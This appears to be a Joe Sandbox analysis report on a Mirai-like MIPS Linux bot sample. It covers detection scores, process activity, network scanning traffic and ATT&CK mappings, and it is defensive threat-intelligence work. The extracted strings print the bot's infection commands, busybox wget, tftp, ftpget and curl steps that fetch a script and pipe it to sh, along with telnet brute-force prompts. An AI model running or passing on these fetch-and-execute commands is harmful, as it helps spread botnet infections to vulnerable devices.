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Linux Analysis Report
mips.elf

Overview

General Information

Sample name:	mips.elf
Analysis ID:	1570591
MD5:	fe60acf63559675f6c1e41415d70ad29
SHA1:	379a56834259bcd7de37df174c8b1b7d8cd30bb5
SHA256:	5f51fd4f7faecc18edfff1f7e1a88728c59100064c1c8263ccd9b9fdb1429543
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Performs DNS TXT record lookups

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses STUN server to do NAT traversial

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570591
Start date and time:	2024-12-07 11:22:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mips.elf
Detection:	MAL
Classification:	mal60.troj.evad.linELF@0/123@2/0

Runtime Messages

Command:	/tmp/mips.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	snow slide
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 6232, Parent: 6160, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

mips.elf New Fork (PID: 6234, Parent: 6232)

mips.elf New Fork (PID: 6261, Parent: 6234)

mips.elf New Fork (PID: 6262, Parent: 6234)

mips.elf New Fork (PID: 6265, Parent: 6234)

dash New Fork (PID: 6236, Parent: 4331)

rm (PID: 6236, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.ExK3uJ4WnH /tmp/tmp.QiaHRFMDJS /tmp/tmp.mdEECdG5ok

dash New Fork (PID: 6237, Parent: 4331)

rm (PID: 6237, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.ExK3uJ4WnH /tmp/tmp.QiaHRFMDJS /tmp/tmp.mdEECdG5ok

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- | shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: mips.elf	ReversingLabs: Detection: 18%
Source: mips.elf	Virustotal: Detection: 25%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:56520 -> 212.192.12.104:8001
Source: global traffic	UDP traffic: 192.168.2.23:50416 -> 74.125.250.129:19302

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 30.229.114.150
Source: unknown	TCP traffic detected without corresponding DNS query: 216.53.69.67
Source: unknown	TCP traffic detected without corresponding DNS query: 44.207.19.52
Source: unknown	TCP traffic detected without corresponding DNS query: 66.232.226.245
Source: unknown	TCP traffic detected without corresponding DNS query: 108.204.116.20
Source: unknown	TCP traffic detected without corresponding DNS query: 73.250.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 101.168.161.224
Source: unknown	TCP traffic detected without corresponding DNS query: 2.102.115.82
Source: unknown	TCP traffic detected without corresponding DNS query: 54.159.122.44
Source: unknown	TCP traffic detected without corresponding DNS query: 173.127.21.138
Source: unknown	TCP traffic detected without corresponding DNS query: 13.139.231.222
Source: unknown	TCP traffic detected without corresponding DNS query: 116.214.2.24
Source: unknown	TCP traffic detected without corresponding DNS query: 66.26.108.63
Source: unknown	TCP traffic detected without corresponding DNS query: 30.192.50.58
Source: unknown	TCP traffic detected without corresponding DNS query: 181.86.209.237
Source: unknown	TCP traffic detected without corresponding DNS query: 86.100.240.120
Source: unknown	TCP traffic detected without corresponding DNS query: 96.163.52.224
Source: unknown	TCP traffic detected without corresponding DNS query: 163.159.136.219
Source: unknown	TCP traffic detected without corresponding DNS query: 133.166.159.193
Source: unknown	TCP traffic detected without corresponding DNS query: 157.44.11.16
Source: unknown	TCP traffic detected without corresponding DNS query: 161.212.157.135
Source: unknown	TCP traffic detected without corresponding DNS query: 191.171.199.15
Source: unknown	TCP traffic detected without corresponding DNS query: 162.202.245.211
Source: unknown	TCP traffic detected without corresponding DNS query: 12.211.147.93
Source: unknown	TCP traffic detected without corresponding DNS query: 190.82.93.175
Source: unknown	TCP traffic detected without corresponding DNS query: 25.84.143.85
Source: unknown	TCP traffic detected without corresponding DNS query: 202.202.59.16
Source: unknown	TCP traffic detected without corresponding DNS query: 132.103.77.116
Source: unknown	TCP traffic detected without corresponding DNS query: 54.225.214.173
Source: unknown	TCP traffic detected without corresponding DNS query: 172.167.107.42
Source: unknown	TCP traffic detected without corresponding DNS query: 101.141.152.90
Source: unknown	TCP traffic detected without corresponding DNS query: 79.83.40.219
Source: unknown	TCP traffic detected without corresponding DNS query: 80.42.29.168
Source: unknown	TCP traffic detected without corresponding DNS query: 5.23.170.205
Source: unknown	TCP traffic detected without corresponding DNS query: 97.133.107.13
Source: unknown	TCP traffic detected without corresponding DNS query: 62.22.72.224
Source: unknown	TCP traffic detected without corresponding DNS query: 98.145.168.77
Source: unknown	TCP traffic detected without corresponding DNS query: 11.58.26.157
Source: unknown	TCP traffic detected without corresponding DNS query: 206.116.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 71.87.174.235
Source: unknown	TCP traffic detected without corresponding DNS query: 49.223.71.106
Source: unknown	TCP traffic detected without corresponding DNS query: 60.121.242.253
Source: unknown	TCP traffic detected without corresponding DNS query: 181.5.228.55
Source: unknown	TCP traffic detected without corresponding DNS query: 30.229.114.150
Source: unknown	TCP traffic detected without corresponding DNS query: 216.53.69.67
Source: unknown	TCP traffic detected without corresponding DNS query: 44.207.19.52
Source: unknown	TCP traffic detected without corresponding DNS query: 66.232.226.245
Source: unknown	TCP traffic detected without corresponding DNS query: 108.204.116.20
Source: unknown	TCP traffic detected without corresponding DNS query: 101.168.161.224

Source: global traffic	DNS traffic detected: DNS query: stun.l.google.com
Source: global traffic	DNS traffic detected: DNS query: cve-2021-36260.ru

Source: mips.elf	String found in binary or memory: http:///curl.sh
Source: mips.elf	String found in binary or memory: http:///telnet.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: busybox cat /proc/self/cmdline
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /telnet.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: busybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- \| shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 6262)	File opened: /proc/4508/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6236)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.ExK3uJ4WnH /tmp/tmp.QiaHRFMDJS /tmp/tmp.mdEECdG5ok			Jump to behavior
Source: /usr/bin/dash (PID: 6237)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.ExK3uJ4WnH /tmp/tmp.QiaHRFMDJS /tmp/tmp.mdEECdG5ok			Jump to behavior

Source: mips.elf, 6232.1.00007fff01d4f000.00007fff01d70000.rw-.sdmp	Binary or memory string: 3x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 6232.1.0000560023d8d000.0000560023e14000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 6232.1.00007fff01d4f000.00007fff01d70000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 6232.1.0000560023d8d000.0000560023e14000.rw-.sdmp	Binary or memory string: #V!/etc/qemu-binfmt/mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stun.l.google.com	74.125.250.129	true	false		high
cve-2021-36260.ru	unknown	unknown	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///telnet.sh	mips.elf	false		high
http:///curl.sh	mips.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
146.230.123.232	unknown	South Africa	2018	TENET-1ZA	false
111.81.149.55	unknown	Taiwan; Republic of China (ROC)	2510	INFOWEBFUJITSULIMITEDJP	false
137.162.191.246	unknown	United States	3549	LVLT-3549US	false
217.81.226.208	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
81.133.45.15	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
35.40.233.10	unknown	United States	36375	UMICH-AS-5US	false
130.191.184.187	unknown	United States	2152	CSUNET-NWUS	false
221.169.118.0	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
8.36.55.209	unknown	United States	12025	IMDC-AS12025US	false
39.109.216.73	unknown	Singapore	55430	STARHUB-NGNBNStarhubLtdSG	false
97.52.130.3	unknown	United States	22394	CELLCOUS	false
27.59.113.204	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
20.19.228.244	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
182.18.101.115	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
192.93.167.177	unknown	France	29104	THALESGROUP-ASFR	false
83.98.237.102	unknown	Netherlands	30925	SPEEDXS-ASNL	false
41.225.216.174	unknown	Tunisia	37671	GLOBALNET-ASTN	false
86.32.60.222	unknown	Austria	5089	NTLGB	false
45.163.142.120	unknown	Argentina	267686	TELCABARGENTINASAAR	false
94.171.33.225	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
138.78.3.9	unknown	United States	396087	SMCMUS	false
202.142.125.44	unknown	India	17747	SITINETWORS-IN-APSITINETWORKSLIMITEDIN	false
136.208.244.188	unknown	United States	60311	ONEFMCH	false
36.141.160.117	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
202.236.9.148	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
133.96.7.123	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
33.7.41.40	unknown	United States	2686	ATGS-MMD-ASUS	false
185.93.192.141	unknown	Denmark	62121	OBOX-NETWORKSDK	false
17.250.234.22	unknown	United States	714	APPLE-ENGINEERINGUS	false
19.197.117.0	unknown	United States	3	MIT-GATEWAYSUS	false
187.217.165.42	unknown	Mexico	8151	UninetSAdeCVMX	false
165.133.248.165	unknown	Korea Republic of	4961	DISC-AS-KRDaewooInformationSystemsKR	false
147.96.224.110	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
178.141.31.141	unknown	Russian Federation	44677	MTS-KRV-ASRU	false
137.232.152.73	unknown	United States	5956	DNIC-ASBLK-05800-06055US	false
201.21.155.73	unknown	Brazil	28573	CLAROSABR	false
190.82.93.175	unknown	Chile	15311	TelefonicaEmpresasCL	false
200.94.172.125	unknown	Mexico	28509	CablemasTelecomunicacionesSAdeCVMX	false
54.118.224.49	unknown	United States	16509	AMAZON-02US	false
52.18.252.214	unknown	United States	16509	AMAZON-02US	false

Source	Detection	Scanner	Label	Link
mips.elf	18%	ReversingLabs	Linux.Trojan.Mirai
mips.elf	25%	Virustotal		Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DTAGInternetserviceprovideroperationsDE	arm7.elf	Get hash	malicious	Unknown	Browse	217.90.145.97
	xobftuootu.elf	Get hash	malicious	Unknown	Browse	31.243.99.127
	home.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	2.161.31.110
	home.ppc.elf	Get hash	malicious	Mirai	Browse	84.185.121.77
	home.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	2.161.31.163
	home.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	80.153.239.19
	home.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	80.140.216.216
	home.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	84.168.92.155
	home.arm.elf	Get hash	malicious	Mirai, Gafgyt	Browse	31.238.25.157
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	84.167.236.166
TENET-1ZA	jew.m68k.elf	Get hash	malicious	Unknown	Browse	152.116.173.48
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	196.248.86.219
	ET5.exe	Get hash	malicious	Unknown	Browse	146.70.87.105
	na.elf	Get hash	malicious	Unknown	Browse	146.236.139.117
	https://hr-recruitment-application.com/red-bull/id-00981	Get hash	malicious	Unknown	Browse	146.70.81.214
	main_arm.elf	Get hash	malicious	Mirai	Browse	143.128.110.15
	re.exe	Get hash	malicious	Neshta	Browse	146.70.124.120
	teste.ppc.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	152.112.21.223
	seemebestthingsgivenmegood.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	146.70.113.200
	PO#BBGR2411PO69.xls	Get hash	malicious	FormBook, HTMLPhisher	Browse	146.70.113.200
INFOWEBFUJITSULIMITEDJP	jew.x86.elf	Get hash	malicious	Unknown	Browse	164.69.37.154
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	220.146.79.30
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	175.184.26.173
	i686.elf	Get hash	malicious	Unknown	Browse	121.95.144.171
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	210.229.18.119
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	175.191.68.88
	armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	111.65.19.158
	m68k.elf	Get hash	malicious	Mirai	Browse	61.210.117.209
	teste.x86_64.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	124.25.85.14
	teste.i686.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	115.185.12.129
LVLT-3549US	arm7.elf	Get hash	malicious	Unknown	Browse	190.216.160.197
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	64.210.22.36
	.akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	207.235.8.132
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	97.65.109.223
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	67.16.132.163
	main_m68k.elf	Get hash	malicious	Mirai	Browse	193.240.49.88
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	216.85.113.30
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.43.93.10
	ex86.elf	Get hash	malicious	Mirai	Browse	156.43.93.84
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	199.76.221.95

Process:	/tmp/mips.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:TgaLGn:TgAG
MD5:	640E98E7A87EC50F267F24DBC141D4DD
SHA1:	BC19B1CF25759386125D933665A8B429D9AE7E26
SHA-256:	6976993806B7CE05EA0AAA6BC975462833B19CF0D6DD4C9480F26FBAF66AF31D
SHA-512:	3887FBDFA33FF58EF35DDD9B1A2C9BDD611208904D8D371B2AFFE6E97F4C2EDA7A5BAA9786BDD3857AB6B31FE933CBE7290E7D9223671670A9BC739D457D4BA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/mips.elf.

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.546029147682748
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	112'796 bytes
MD5:	fe60acf63559675f6c1e41415d70ad29
SHA1:	379a56834259bcd7de37df174c8b1b7d8cd30bb5
SHA256:	5f51fd4f7faecc18edfff1f7e1a88728c59100064c1c8263ccd9b9fdb1429543
SHA512:	5eb0a4310fc887c777d52055a0932701a4b5c56a62ed8afb712edb77c7f09827386902374ab5d8b8e808cf92c9165184cbf90d671ffd4551a6560e0c0963ffc2
SSDEEP:	3072:kIGlKCHbM2674h8KBI5Xs4kMfjU6TgAn7:kIGlpgKBI5JTgK
TLSH:	49B3B71E7E628FACF76E833447B34E219659739227E1C584D5BCE9101F6034EA41FBA8
File Content Preview:	.ELF.....................@.p...4.........4. ...(.............@...@...........................E...E........A.........dt.Q............................<...'......!'.......................<...'......!........'9... ......................<...'......!... ....'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400270
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	112156
Section Header Size:	40
Number of Section Headers:	16
Header String Table Index:	15

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
